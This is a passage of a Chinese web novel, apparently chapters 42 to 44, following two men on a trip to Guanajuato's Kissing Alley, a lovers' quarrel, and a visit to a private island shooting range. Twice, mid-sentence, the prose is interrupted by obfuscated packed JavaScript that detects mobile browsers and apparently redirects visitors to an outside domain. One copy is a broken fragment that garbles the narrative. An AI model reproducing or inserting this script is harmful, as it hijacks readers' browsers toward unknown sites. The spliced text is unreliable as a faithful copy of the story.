少年时代喜欢听的音乐不知何时变得寡淡乏味,过去那些令他激动昂扬的摇滚曲调,如今面无表情着听完也不会有所触动;和相中的女人们去高档餐厅吃饭也不再热衷于认真打扮,秘书给他什么,他就穿什么;出门旅行永远是万年不变的冲锋衣配运动裤,早上起床胡子都懒得刮,他喜欢去海边,他的心情和苍茫海水一样沉沉浮浮。 无数次想要逃离,可世界之大,他不知自己该逃往哪里。 他的确没有其他人生目标可以奋进,他便也认为自己理所应当待在这个位置上。 可何湛程却问他喜不喜欢。 他喜欢么? 当然不。 “这世上大部分人不是仅凭一句‘我喜欢或者不喜欢’活着的,我也不例外。”戚时回答。 这大概是目前为止,何湛程听到过戚时说过的最有哲学意味的话。 他了然,明白戚时这种容易被亲情羁绊住的人,委曲求全都是为了报答他哥。 可,之前又是谁在饭桌上大声赞扬亲情是高尚的、伟大的、无私奉献的来着? “行,我知道了。” 何湛程返回去,低头牵过戚时的手,说:“不过在我这里,你可以成为少部分的例外。” “什么意思?” “嗯……”何湛程也有点烦躁起来,抓着头发思量着,说:“我也得再想想呢,所以明天再告诉你。” “好。”戚时笑起来,揽臂搂住他的腰,在何湛程额头落下一吻。 不管这位没谱的小少爷想什么办法,起码他在此刻感到非常的幸福。 戚时觉得他就像一只陷入泥沼多年的大象,何湛程则是一只不经意间路过他的兔崽子,他们只是短暂的相处数月,兔崽子看上了他,就要试图将他从泥沼中救出来,可他明知兔崽子是个三分钟热度的人,早晚有一天会对他心生厌弃,并再次将他推入泥沼之中,他还是控制不住自己对这个兔崽子动心。 一而再,再而三,明知是梦,不愿醒来。 大概当下这一切就是梦,何湛程才会想要带他去一个充满糖果色的、五彩斑斓的梦幻童话小镇去旅行。 瓜纳华托州位于墨西哥高原的南部,从坎昆转机到莱昂机场,再坐车进入市区,预计费时五个小时。 何湛程从何棣坤车库开了辆改装过引擎和大涡轮的超跑,载着戚时一路高速狂飙去机场,同时让安德森安排在瓜纳华托的接待人提前去目的地等待接机。 高效率无缝衔接的旅途,仅耗费三个半小时,戚时在呼啸的疾风中只顾得上紧紧捂他用来遮寸头的棒球帽,都没怎么和何湛程聊天,更无暇欣赏沿途风景。 接待人是来自中国某个旅行社驻墨西哥分部的华人,开着低调奢华的奔驰商务车,将他们送到市区后就离开了,半句多余闲话都没有,一点都不像是做旅行社的人。 戚时知道肯定是安德森提前吩咐过了,就跟何湛程说,今天这行程紧得跟出差似的,知道的是来旅游逛街,不知道的还以为是来完成任务呢。 而且,他在尤卡坦半岛的奇琴伊察金字塔都没看,大老远跑来看亮瞎人眼的彩色屋子,听起来有点舍近求远了。 何湛程斜他一眼:“你喜欢看我,还是喜欢看金字塔?” 戚时牵住他手,笑:“当然是你。” 何湛程得意地抬起下巴。 戚时低笑着,在他嘴唇上亲了一下。 “苦的。”戚时低下头来,将鼻尖与他相抵。 “早上喝咖啡了,”何湛程摸摸嘴边,说,“很苦么?那我以后不喝了。” “咖啡是苦的,”戚时笑望着他,“但我记得喝咖啡的舌头好像是甜的。” 何湛程眼尾折出笑弧,对着戚时吐了下舌头,大胆勾引:“是这个么?” 戚时嗓音喑哑,低低应了声“是”,凑近想和他接吻,何湛程使坏又把舌头收回去。 戚时不痛快地瞪他一眼。 何湛程一阵嬉皮笑脸,手上使劲儿,拽着戚时就往前走:“走,先玩儿去,回家再亲!” 戚时欲求不满,兀自愤愤:“那是你二哥的家,不是我们的家。” 何湛程诧异回头:“‘我们’的家?” 戚时立刻道:“口误!” 何湛程“切”了一声。 这是一座依山而建的小城,庄严如华雷斯剧院新古典主义立柱上盘踞着的镀金狮鹫,淳朴如路边贩卖彩陶骷髅的老妪与吹奏小号的街头艺人;这是一座承载着厚重殖民史的城市,17世纪欧洲巴洛克末潮的风暴疯狂席卷过凝聚着土著原住民无数血汗与泪水的银矿山,墨西哥原住民抵御之际释放出的狂野凶悍与之相激荡融合,渐趋形成别具一格的瓜纳华托风情文化。 二人穿梭在迷宫般的城市街道,正午阳光穿透赭石色的屋顶,明媚春光流泻过堆簇着锦簇繁花的、橘红、粉白或湖蓝色的彩墙,在狭窄静谧的街道投下几何形建筑的阴影。 何湛程带了相机,装在戚时背包里,一路走走逛逛,等着下午两三点最佳拍摄时间,拉着戚时一块儿坐缆车俯瞰全城,拍下了明黄色外墙与血红色屋顶的圣母大教堂,还有铺满山坡的糖果色屋群落。 以及,两张戚时的游客照。 出门前,俩人衣服都是在何湛程橱柜里选的,瓜纳华托今日气温23℃,二人都是T恤加薄衬衫配长裤,轻便又舒适。 何湛程穿深红宽松T恤和卡其色伞|兵裤,浅色牛仔外套,一头潮流锡纸烫,脚底下穿着和戚时同款的白球鞋,三分痞气不着调,七分青春男大的朝气蓬勃。 戚时身上是件刺绣黑T恤,胸腹间,一头精神抖擞的美洲豹在荒原中行走。 二十七岁的男人,五官凌厉,青皮寸头,身体健壮,戴一顶藏青色棒球帽,下身是和何湛程外套相搭配的牛仔裤,右肩挎着个旅行包,举止间谨慎持重,走哪儿都要将身旁人给遮住,生怕何湛程突然看上哪个路人帅哥就跟人跑走了。 何湛程发现,如果他不跟戚醋缸牵着手走,戚醋缸就会表现得很神经质。 何湛程让戚时站在一条绚彩斑斓的窄街中央拍了一张,俩人登上皮皮拉山瞭望台后,他又让戚时背靠整座瓜纳华托小镇拍了一张。 戚时拍照的表情和动作永远都是一个:双手插兜,一脸庄肃地凝眸盯着镜头,跟拍证件照似的,连“耶”都不会比。 何湛程想多拍几张,手把手教戚时摆pose,指挥人说“茄子”,戚时很抗拒,一个劲儿说“不会”、“不”,“我不想摆”,磨蹭了一个多小时,何湛程马上要动怒发火了,戚时才缓缓抬头,望着他:“为什么只拍我一个?” 何湛程脱口而出:“因为你帅啊!趁着年轻,我帮你多拍点照片存着以后留念不行?” 戚时锁紧眉头:“要是过两年我不帅了呢?” 何湛程笑:“怎么会,我们二哥到老了都是大帅哥!” 戚时步步紧逼:“如果我毁容了呢?” 何湛程讶然:“为什么会毁容?” 戚时不痛快地别过脸去:“不知道,可能哪天去美容院打个针就打残了。” 何湛程莫名其妙:“那你就别去呗,你又不需要打针。” 想了想,又认真警告道:“你不许去打针,我喜欢纯天然的。” 戚时盯着他看了一会儿,突然说:“过来吻我。” 何湛程搞不懂今天阳光明媚风景如画的,这人心情怎么就又不好了。 耐着脾气,将相机放回背包里,然后将外套脱下,挽在臂间,朝戚时走过去。 他先气势汹汹瞪了戚时一眼,戚时无动于衷,丝毫没有要动的意思,何湛程没脾气了,挽外套的手伸出,按在戚时腰间,另一手摁着人后颈,闭上眼,缓缓凑过去和人接吻。 舌尖才探索进去,戚时突然就发了癫,猛地一把将他拽进怀里,压上来的脸几乎将他鼻子挤皱,就像极度缺氧的濒死之人,戚时埋头张口大力吸吮着他舌头,在他口腔里疯狂地劫掠索取,那双铁钳般的手臂禁锢住他腰,恨不得将他整个人勒断。 何湛程被勒得骨头都要碎了,急喘几口气,颤声道:“你轻、轻点儿。” 戚时登时呼吸粗|重起来,双臂反而收拢得更紧。 “不想让我在这里把你办了,你就别再勾引我!” 何湛程:“……” 二人吻技渐长,两条火热的舌头像蛇一样暧昧交缠,彼此胸膛在急促的呼吸间激烈碰撞着。傍晚时分,夕阳西下,异国山顶的瞭望台上,他与他紧紧相拥,耳畔微风拂过,远处山峦间回荡着教堂的钟声,近处是令人脸红心跳的水声与喘|息声。 许久—— 大约过了一个世纪那么久,周遭陆续有别的游客登顶,附近很快热闹起来,他们默契对视一眼,交叠的身躯缓缓分开。 何湛程揉着自己快断成两半的腰,嫌怨地瞥了一眼戚时,本以为对方爽完了多少会哄他两句,没料那狗畜生居然抬手一擦嘴,干脆利落地转身拎着背包就要走。 何湛程愣了一下。 下一秒,满腔火气瞬间烧起来! “戚老二你是不是人!”他疾步追在人身后,一边穿着外套,一边喋喋不休道:“你良心呢!你有没有心!妈的,亏得我还怕扣子咯着你,好心把外套脱了,你倒好,光天化日之下差点把我裤子扒了也就算了,完事儿了连个屁也不放就要走?你他妈当这是下馆子吃饭,你吃完走啊?你是不是傻叉!你良心都让狗给吃了?!” 戚时充耳不闻,等他说完,偏脸问:“逛差不多了,几点走?” 何湛程被这不解风情的狗男人气得心脏疼。 他费力地揉着腰,走到戚时身前,故意横着肩膀撞对方一下,然后一瘸一拐地走在前面带路。 “还有个地方没去呢,先去逛一圈再走。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“夕阳真好看啊,是吧?” “嗯……就那样吧。” “扫兴!” “你最好看。” “嘁!!!” 在快抵达最后一个景点之前,何湛程跟戚时讲了一个墨西哥版《罗密欧与朱丽叶》的故事。 说是在西班牙殖民时期,这里有一个叫安娜的富家千金和一个叫卡洛斯的贫穷旷工相爱了,他们的爱情遭到了世俗的反对,于是卡洛斯就租下了一间和安娜家阳台相邻的房间,两侧房屋阳台几乎靠在一起,最窄处仅有68厘米,这对恋人便在这里进行幽会。 后来,安娜的父亲发现他们相恋后,愤怒冲昏头脑,用匕首刺死了安娜,安娜在临死前深情地吻了卡洛斯,这一吻成为了他们爱情的象征,卡洛斯随后也在安娜的遗体旁自|杀,以示对她的爱和忠诚。 安娜的父母发现他们的尸体后,意识到自己对爱情的偏执和错误,悔悟不已,很多人将这个凄惨的爱情故事传播开来,从此,这条巷子里的那一对阳台就成为了纪念这对恋人爱情的地方,人们相信在这里接吻可以带来好运。 “当然也有人认为会带来厄运,”何湛程笑说,“不过主流说法是,如果情侣在巷子的第三级台阶上接吻,他们就可以获得七年以上的幸福。” 戚时早掏出手机,快速搜索这个何湛程不肯告诉他名字的景点,浏览详细介绍过后,偏头冲人一挑眉,说:“接吻巷?专门亲嘴儿的地方?” 何湛程脸上一红,应了声“是”。 戚时不太赞同:“不是说也可能会带来七年的厄运么?” 何湛程不甚在意地挥挥手:“那是少数人的言论,可以忽略不计!” 说话间,两人已然走到巷子里。 那面据说是被安娜用鲜血染红的墙壁,有不少来自世界各地的游客靠在那里接吻,可正如之前所言,这条街道狭窄至极,长二十米的小巷,最窄处仅45厘米,想要去阳台上接吻的恋人实在太多,几个从希腊过来的游客说,这里从中午就排起了拥挤的长队,他们也是先逛了其他景点才最后过来的。 何湛程和戚时手牵着手,站在队伍最后一排,一齐抬头上望。 鲜花堆簇的粉红阳台与深橘阳台,一对衣着朴素的中年夫妻正在深情接吻,旁边专业摄像师在为他们拍照。 戚时低声跟何湛程吐槽:“亲个嘴儿还要把摄像头怼这么近,他好意思拍,我都不好意思要。” “是么?”何湛程讶然扭头问:“那我之前送你的那些拍立得,你全都扔了?” 戚时不自在地摸摸鼻子:“没,都好好存着呢。” “存哪儿了?” “一个非常安全的地方。” “保险柜?” “我枕头底下。” “………………” 何湛程笑眼眯成一条缝,好奇逗他:“是每天夜里都会拿出来欣赏的那种‘存’吗?” 戚时不为所动,呵斥道:“你还好意思问?你看看你拍的那些东西都像什么话!” 何湛程笑意更浓,一歪头:“那你喜欢吗?” 戚时冷冰冰地别过脸,不作回答。 何湛程威胁:“不说话就是不喜欢,不喜欢的话,我以后再也不给你发了。” “喜欢。”戚时飞快地说:“爱看,多发。” “哼!” 他们最后没能等到去阳台上接吻的机会。 等待时间实在漫长,戚时都快忘了他上次排这么长队是什么时候,为着一个真假不详的传说,忍着拥攘聒噪的队伍,置身周遭完全听不懂的语言环境,他才没兴趣凑着热闹。 但兔崽子说想去,他掏出钱包试图花钱插队,遭到前排一众人抗议鄙视,然后就更待不下去了。 何湛程又气又无语,眼睁睁看着戚时被一群人嫌弃地赶回来,一副毫无虔诚之心只想速战速决、被拒绝后自己居然还委屈上了的臭德行!! 可对方嘴里碎碎念着翻译软件上现学的塑料西语,一路往前抛头露面不停冲游客们塞钞票也都是为了自己,何湛程愤愤磨着牙,又舍不得说他。 天色渐晚,温度骤降,何湛程很快着了凉,一个惊天大喷嚏冷不丁就打了出来,他瑟缩着,忙将外套抖开穿上,低头系着纽扣,后背蓦地贴上来某人热烘烘的胸膛。 戚时从身后将他抱住,十指穿插过他的手,一颗颗帮他系好扣子,光洁的下巴蹭着他脖颈,低语道:“程儿,不想待了,咱走吧。” 一句“就快到咱们了”还没说出口,何湛程接到了当地接待人的电话,对方说根据他的航程安排,这会儿差不多该走了,问何湛程,他现在要不要来接他们去机场。 “可以。”何湛程没再执着,挂了电话,和戚时一起原路返回。 他本身也不是执着的人。 晚七点的飞机上,二人并座,何湛程托腮望着窗外黑浓的夜天,安静地出神。 戚时有些抱歉地握住他手,安慰着:“没关系,明天再去也一样。” 他也是上了回程的飞机后才猛然意识到,何湛程是专门为了带他去接吻巷定情,才特地筹划的这一天旅程。 何湛程摇摇头:“算了,我都安排好了,明天去老二岛上的靶场玩儿,我还想教你打枪呢。” 戚时来了兴致:“你也会玩儿枪?” 何湛程嘴角一扬,扭头瞥他一眼,视线从戚时好奇的眸光缓缓移到他裆下,语气轻挑:“有什么稀奇的,长枪大炮我都玩儿的。” 戚时莫名被调戏一番,好气又好笑,说:“那行,那我们后天再去。” 何湛程诧异:“后天你不就要回国么?” 戚时轻咳一声,说:“……那、反正早晚有机会的。” “再说吧,”何湛程懒懒道,“最近不想去了。” “为什么?”戚时忍不住问。 他才刚意识到少爷对自己隐秘的深情,少爷就又开始原形毕露了? 少爷心里窝着火气,继续托腮望着窗外夜景,头也不回地说: “不想就是不想,既然你不在乎,那我也不在乎。” 43.第43章 翌日早,别墅庭院里经过一个身着迷彩的肌肉猛汉,五官深刻,深黑短发,据说是来自中东地区的退伍雇佣兵,他粗壮右臂纹着黑鹰,步履间军靴带风。 将要进门时,头顶露台忽地传来一声呼唤,那汉子抬头上看,见好友家的三少爷赤着精白上身,长腿穿一条碎菊花蓝底沙滩大裤衩,手里端着杯牛奶,笑吟吟的,正搂着一位新情人靠在白玉扶栏朝下望。 是位长得很英俊的东方情人,汉子瞄了一眼,就是对方脸色不太好。 不过,跟在少爷身边还能随心所欲摆臭脸,可见其得宠程度。 汉子就冲那位东方情人点了点头。 东方情人冷哼一声,手里抖出件真丝薄衫,披在少爷肩上。 汉子一愣,随即又笑。 原来是一位擅长嫉妒的东方情人。 “吃饭了吗?”少爷问他。 “还没有。”汉子笑回。 他每次见这位漂亮少爷,对方都习惯问他吃饭了没。 “我们给你留了一份中餐,请你尝尝。”少爷朝他举杯。 安德森闻声出门迎接,邀请汉子进屋先用餐,汉子招手对少爷道了句谢,笔挺魁梧的身姿隐没在廊檐下。 少爷抬手喝了口牛奶,薄衫从肩膀滑落,身旁男人瞪着他,鼻孔呼哧呼哧地喷气。 何湛程斜他一眼:“干嘛啊,大早上的就哮喘?” 戚时眼神幽怨:“我不想你露这么多给别人看。” 何湛程下巴一抬,岛屿崖下的浪涛正激打着黑礁石,他说:“这是海边,雷萨是我们家老二的好哥们儿,待会他开直升机载咱们去岛上打靶,我跟他多聊两句怎么了?” 戚时态度强硬:“就算是在海里,你也不准这么露!” 何湛程盯着他看了几秒,忽地将牛奶杯塞回他手里,转身进屋里换衣服。 渐远的声音清冷无情: “你管得着么。” 戚时站在原地,沉眸望着那人半裸的修长背影,左手攥着真丝衫,右手握着只喝了半杯的牛奶,心里好一阵懊悔。 他谈恋爱向来以自己的感受为主,昨天在接吻巷,他只是单纯觉得很没意思,加上何湛程又着了凉,他怕人感冒才提出要走的。 何湛程想也不想就同意了,这让他以为对方也不是很在意这些虚的,毕竟按照何湛程的性子,如果真想继续等,那人稍微磨他几句,他肯定会陪着人待下去。 没什么大不了的事。 直到他上飞机后察觉到身旁人的落寞。 那小子本来是打算跟他表白的吧? 戚时看出来了,心里惋惜得很,恨不得立刻拽着人回去重来一遍,他发誓,他肯定会老老实实排队,绝不嫌弃吐槽,绝不再搞插队,并且何湛程让他摆什么pose,他一定百依百顺摆什么pose! 可惜少爷情绪如潮水,涨落有时,他强求不了,只能尽量不去惹人生气。 昨夜和少爷一起睡觉,戚时表现得很老实,只是趴在少爷身上和人啄了几下嘴,连接吻都没敢。 他还从未经历过和人盖着被子纯聊天这种事儿,不过喜欢裸睡的少爷身上很香,细腻肌肤如丝绸般泛着凉意,他睡眠质量直线上升,欲求不满的同时,又感受到一种他在和少爷一起白头偕老的幸福。 早上起来,戚时惯例问候,一抬头,惊讶地发现少爷竟然熬出了黑眼圈。 戚时问对方怎么回事,是不是半夜压着他了?何湛程臭着一张脸,说他夜里打呼噜,害得自己一整夜没睡,然后猛地一个翻身就跑去浴室冲凉水澡,十分急不可耐。 戚时尴尬又心疼,连忙下楼去给少爷热了杯牛奶。 少爷喝了他的奶,戚时就以为他们俩和好了。 可难得的,少爷这种豁达性子,居然肯记一个人的仇。 戚时端着牛奶,默不作声跟在少爷屁股后面转悠,少爷动作暴力地翻箱倒柜挑衣服,上一秒摔门,下一秒砸抽屉,赤脚踩在地上噔噔响,余光一瞥,发现戚时尾随,心火更盛,气得半天提不上一条裤子。 戚时很有眼色,将牛奶放在橱柜边,从背后将人紧紧抱住,手把手帮少爷提裤子。 “程儿,”他歪头咬上少爷发烫的耳朵,烟嗓低沉,“来,这么提。” 何湛程耳根爆红,扭头大力推他一把:“去死吧你!” 砰一声,少爷力壮如牛,戚时被推撞上身后的四敞衣柜门,侧腰咯到叠放衬衫的硬横板上,疼得他闷哼一声。 “嘶——骨头断了……”戚时眉头紧皱,扶着腰倚着柜门,满脸痛苦。 何湛程有点慌,双手无措地捏了下裤边,强壮镇定道:“你、你少来!你练的肌肉都是白长的?关键时候就不管用了?” 戚时额角青筋爆出,咬牙忍着痛,一副想发火又无可奈何的样子:“老子练体育的时候骨折过好几次,有旧腰伤!” “你不早说!”何湛程忙凑过来看,一把撩开戚时的黑背心,冰凉凉的手指绕着戚时的侧腰摁来摁去,急声询问:“这里吗?还是这里?很疼?艹!说话!艹!不行!你别说话!我现在叫个医生过来给你看!” 眉宇间正色起来,何湛程立马掏手机就要拨号,身后传来一声轻笑,何湛程愣住,下一秒,腰间搂上一条结实的手臂,疾如闪电将他一把捞进怀里。 砰! 戚时霍然翻身,将何湛程整个人压在闭合平整的柜门上,一手攥紧对方两只手腕举过头顶,另一手钳在怀中人腰间,一双深邃笑眸,自动忽略过何湛程的惊愕表情,对着何湛程的嘴就大力啃了上去。 “崽儿,知道你还疼我,我就不疼了。” 咬住怀里人嘴唇,因为贪恋那过分的清香柔软,戚时每次都喜欢先咬磨两下,再伸进去逮舌头。 被圈禁在狭窄空间,大概知道挣扎闹腾没用,何湛程难得安静地任人摆布,甚至闭上眼,抬下巴与人亲密配合。 等戚时一吻结束,何湛程肿着嘴,抬眼望他。 戚时一笑,松开手,替他擦了擦湿漉漉的唇。 何湛程却忽地抱住他,垫着下巴在他肩头蹭了蹭,似乎像轻松了一口气。 “大宝贝,你要好好的。” 戚时笑着揉了揉他的鸡窝头,手臂环住他腰,也将他抱住,埋头在他颈窝吸了两口气。 “大宝贝知道了,谢谢小宝贝。” 一架通体全黑的直升机轰隆隆从别墅天台上飞起,凌空于无限广阔海域,朝西南方向的私人岛屿上进发。 雷萨坐在驾驶座,动作熟稔地操控着驾驶台,告诉身后黏在一起的两位:“这架直升机名叫黑鹰,因为一流的抗毁能力强和高使用寿命,常做军用飞机,哪怕在地势高、空气稀薄的青藏高原上也能灵活飞行。” 身后黏在一起的二位,因为不想分开,没人来坐副驾,更没人和他聊天,当下全挤在后面二人座扒拉手机,兴奋激烈地讨论待会将要使用的各类枪型,雷萨回头瞥了几眼,见三少爷得意洋洋地和他那位英俊的情人聊起打枪的经验,不禁莞尔。 犹记得半月前,少爷被坤领来靶场玩儿,一身冲锋衣全副武装,只是总一副兴致缺缺的模样,看起来很没精神。 坤热情地向弟弟传授经验,少爷态度敷衍,望着绿荫草地上摆得黑色人靶出神,学习能力倒很强,小枪型上手快,少爷试了几把小格|洛克和m249,一个新手,命中率就在85%,后来觉得不过瘾,架着把巴|雷特突突突扫射,子弹打得满天飞,似乎不是为了命中,而是发泄,一下午连耗三大箱子弹,到傍晚天黑,少爷摘下降噪耳罩往旁边一扔,说了句“没劲”,两手插兜,打着哈欠回去睡觉了。 少爷在那个英俊的男人面前却不一样。 就像个对一切事物充满新奇感的欢乐小孩,一张清俊冷淡的脸始终焕发着动人的光彩,笑声更是清朗动听。 少爷一笑,那个似乎要年长些的男人也笑,两人一路净讨论些“如果你用M93打我,我就用M200打你!”、“切,老子怕你?谁还没摸过枪,老子玩和平精英的!”、“我是新手咋啦,那也比你强!你不相信我,那干脆让雷萨教你好了啊!”、“你这身娇肉贵的大少爷能扛动巴|雷特?骗鬼呢?!”、“嗯嗯嗯是我扛不动,刚才谁不知道碰了一下衣柜就鬼哭狼嚎的,大把年纪了也不嫌丢人!”、“艹!你再给老子说一遍?谁大把年纪了!”……无穷无尽的聒噪。 两个幼稚鬼小孩。 雷萨忍俊不禁。 心想,这不是一对情人,这是一对恋人。 直升机很快就降落在岛屿,纵横四顾,整座岛屿随处可见聚集的施工队伍,按照岛屿主人的设计蓝图,这片200多英亩的荒地,将在五年后开发成面向全球富豪群体的高奢度假庄园。 除去高尔夫练习场、潜水、跳伞、私人婚礼定制等开放性项目,另有与所辖ZF协约合作建造的靶场射击基地、私人研究所、濒危动物生态环境保护区、艺术交流中心等,可为科学家、艺术家、各行各业的富豪等提供休闲娱乐,重要基地则由岛屿所辖ZF派来的退伍雇佣兵在重械把守,兼具私密性与安全性,同时监督何棣坤这个心口不一、行踪不太老实的异国商人。 幸而何棣坤与这群雇佣兵的头儿——雷萨,十分投缘,二人相处还算和谐,何棣坤偶尔搞点小动作,只要不触碰协约规定的底线,雷萨也权当看不见。 沿海浅滩尚在建设工程,一片茂盛棕榈树林前,白沙空地上堆着成片的钢筋木材;西北港湾处新开辟了码头,当下停着两艘亮白的游艇,水面波光粼粼,映着一轮从海平线上升起的红日,在游艇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427243|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外壁两侧反射出金色的光。 何湛程跟戚时讲,他家老大小时候流亡在外,经历过暴动与枪战,别看何闽轩总一副气定神闲的跩样,实际上别说听到枪声了,那人就是听炮仗声都会应激到浑身发冷汗。何闽轩每次被他吓一次,起码要缓好几个小时,所以这辈子只想待在国内。 何老大认为,全世界只有国内最安全,所以他哪里也不要去,国内毗邻东南亚地区的边境也不要去,生意上遇到需要他亲自到场的,一律派何老二替他出马,宁愿给生意伙伴写亲笔信道歉,也绝不踏入半点有安全隐患的地域。 于是何老二就成为整个家族有实权、且最喜欢出门耍的浪子。 何闽轩十七岁踏入集团董事会,何棣坤与他相差三岁,等何闽轩在集团稳固了地位,何棣坤也才刚满十八。 刚满十八好,正是喜欢四处闯荡泡妞玩男人的好年纪,凭借这五六年在国内外攒下的人脉资源,加上何家雄厚的实力背景,何棣坤年少得意,狮子大开口,找何老大要了五个亿,跑来墨西哥搞度假村建设。 何棣坤是打着反恐反走|私、保护海洋生态环境、维护国际海域治安和平的旗号,找到岛屿所辖ZF协商合作,签订一系列互利互惠条约,才终于把这块地给拿下。 何棣坤的度假庄园,何闽轩持股10%,本来何闽轩嫌老二贪玩不务正业,派了心腹来这边监工,没料何棣坤情场失意,又刚犯了事儿从牢里里放出来,身份敏感,不便在国内生意场上行走,于是跑来墨西哥度假,把何老大监工的几个人全给撵回去了。 何闽轩起初不同意,说老二不靠谱,这么大个项目要是因为何棣坤任性就砸手里了,他把何棣坤宰八百遍都不够赔的! 何棣坤第二天就甩给他大哥两个账本,吊儿郎当,但态度鲜明:何老大的人贪了他两千多万的油水,他们再不滚蛋,他直接掏枪把人给毙了。 何老大于是就没再吭声。 何湛程认为,这事很难说不是他大哥授意,因为老二吃喝玩乐花的钱几乎和做项目一样多,五个亿对半分,倒不如令人紧缩点,也好控制。 没料何棣坤长大了,脾气也大了,不好糊弄,老大才不得不放手。 戚时不太理解,说,你们何家三个兄弟又不争夺财产,干嘛彼此的关系搞得这么复杂,亲兄弟还玩制衡那一套,多伤感情啊。 何湛程挠挠鸡窝头,不太自在地一挥手:“你不懂,家家有本难念的经,我们家的经更是又臭又长,一时半会说不清楚。” 戚时一把将人搂怀里,胳膊搭在他肩头,问:“那,你明知道你大哥怕枪响,你还吓唬他?” 何湛程别过脸,嘟嘟囔囔道:“谁让他从小就不喜欢我,整天板着个脸,也不对我笑,我闲着没事了,就忍不住想放鞭炮逗逗他。” 戚时挑眉:“你们家那么大,在庭院里放鞭炮的话,里面应该听不清楚吧?” 何湛程心虚地低下头,声若蚊蝇:“谁说我在庭院里放了……” “那你在哪儿放?” “他屋里……” “………………” 何湛程一抬头,见戚时不悦地皱起眉,心里一慌,忙在人胳膊上揪起一丢肉,死命掐他一下。 戚时这次是真疼得叫出声来,两眼喷火,捂着胳膊叫嚷:“你干什么!” “我错了,我都知道错了!”何湛程理直气壮地喊:“我跟老大已经和好了,你敢嫌弃我一个试试,你敢不喜欢我试试?!” 戚时:“……” 这哪儿来的疯狗,他的兔崽子呢? 兔崽子一把抓起他胳膊,啪一声重新搭自己肩膀上,扭头瞪他,命令道:“继续!搂着我!” 戚时又气又笑,揽臂搂人进怀,勾指刮了下何湛程的鼻尖,嘱咐道:“以后要尊重你大哥,不能再没礼貌了,他一路走来不容易。” “知道了,”何湛程一脸笑容灿烂地卖乖,“我都听你的!” 笑容灿烂完,心里闪过一丝狐疑。 戚时什么时候跟他大哥这么要好了? 就算他大哥迫于压力把他出卖给戚时,可戚时向来强盗做派,从不觉得亏欠,更不该这么向着他大哥吧? 看看这人刚才臭极了的脸色,恨不得下一秒就要替他大哥替天行道,搞得好像何闽轩是戚时自己的大哥一样。 正要开口问戚时是不是背着他偷偷跟何老大交易了什么,身后百米外传来一声呼哨,二人不约而同转头回望,就见雷萨驾驶着辆军用越野车,后座站着两个手持重械的魁梧壮汉,从停机坪方向朝他们疾速迅猛地奔来。 须臾,车尾尘土阵阵飞扬,越野车停到二人跟前,雷萨扭头冲他们憨笑两声,为了表达对戚时的友好,他操着一口有点蹩脚的中文说道:“上车吧,我们去靶场!” 44.第44章 打靶场在山谷里的一处平坦腹地,离着停机坪很近,目前是半开发状态,草地都推秃了,风一吹,湿泥土味混着枯草味,空气吸到肺里,整个人躁动起来。 四周设有密密麻麻的电网和围栏,放置枪支弹药的仓库由所辖ZF的军卫把守,闲人不得入内,连何棣坤进去溜达一趟出来都要被搜身检查,可见当地ZF对枪支的管控异常严格。 戚时心想,幸亏管控严格,不然就凭何老二随便拿枪指人脑袋的臭毛病,他成天跟这种喜怒无常的疯子住在一起还挺危险的。 何湛程摇了摇手指,连说三个no。 何湛程解释,这是因为他家老二不老实,雷萨他们才对他进行地毯式搜身。 据说某次何棣坤从里面偷摸顺了把AK,下午在游艇上开party的时候朝天上打鸟玩儿,岛上听到枪声立刻响起了警报,雷萨带着一众人全副武装地赶来,发现原来是某个喝高了的酒鬼在拿他寻开心,一瞬间生气又无语,从此再不允许何棣坤乱来。 戚时犀利点评:“你俩真不愧是亲兄弟。” 雷萨叫人拎来几箱轻重不一的家伙,摆在射击台前,两个安全员也围过来,告诉戚时一些注意事项,见戚时已然从何湛程口中解过,他们便开始一一为他们介绍枪型。 “这把是Glock17,这一把是Beretta92FS,这两把都是手枪,一把枪体验一次40美元,五十发子弹算50美元,不过我们是自己人,随便玩,随便打。” 安全员在一旁说,何湛程同声传译给戚时听:“这把AS50是半自动的,能5发连射,这把T5000是俄制顶级高精度狙击枪,钛合金枪机,中东战场上用这个最多。” “这把HS.50是无托式设计,后坐力不强,我没试过,但他们说这把穿透力比巴|雷特还强。” 接着,何湛程递给他一把黑色的沙|漠之鹰,说:“这一把,你掂量掂量,看看用得惯么?” “老二和雷萨他们玩儿的时候经常用这款,一般肌肉练不到位的人拿不稳,我上次试过,虎口被震得有点疼,打了十发以后就没再玩儿了。” 自从踏入射击场,戚时上扬的嘴角就没停下来过,全程陪站在他家无所不能的少爷身边见世面,看着面前一排排形状各异的枪型,任何型号都随便摸、子弹也随便打,心情雀跃又亢奋,直到接过来这把重型手枪,戚时有些紧张地握在手里,感受着游戏世界完全感受不到枪的纹路与重量,终于觉得这一切真实得不像一场梦。 戚时低着头,将手里这把黑色的沙|漠之鹰辗转反复地看,美得直接笑出声来。 “怎么样?”何湛程看出来了,笑了声:“喜欢么?” “当然!”戚时横身举枪,眯起眼,动作标准地瞄准百米外的人形靶,自动配音:“biubiu!biu!biu!biu!” 何湛程笑起来,说:“不是biubiubiu,是砰砰砰!” 戚时也笑,再次瞄准,重新配音:“砰砰砰!” 何湛程拍了下他肩,笑道:“喜欢的话,经常来练,回头再考个狩猎执照,这把枪就是你的了。” 戚时诧异扭头:“真的假的?” 这个世上,没有任何一个男人会不喜欢枪。 尤其还是真枪。 尤其还是爱人要送给他的真枪。 多好啊,戚时想,他在这一刻感觉自己人生的幸福值达到了巅峰:在一个安逸的地方定居,每天和爱的人一起喝酒闲聊晒太阳,还有他家果汁儿,果汁儿成天待在那才三百多平的草坪上玩球,估计早就腻了。 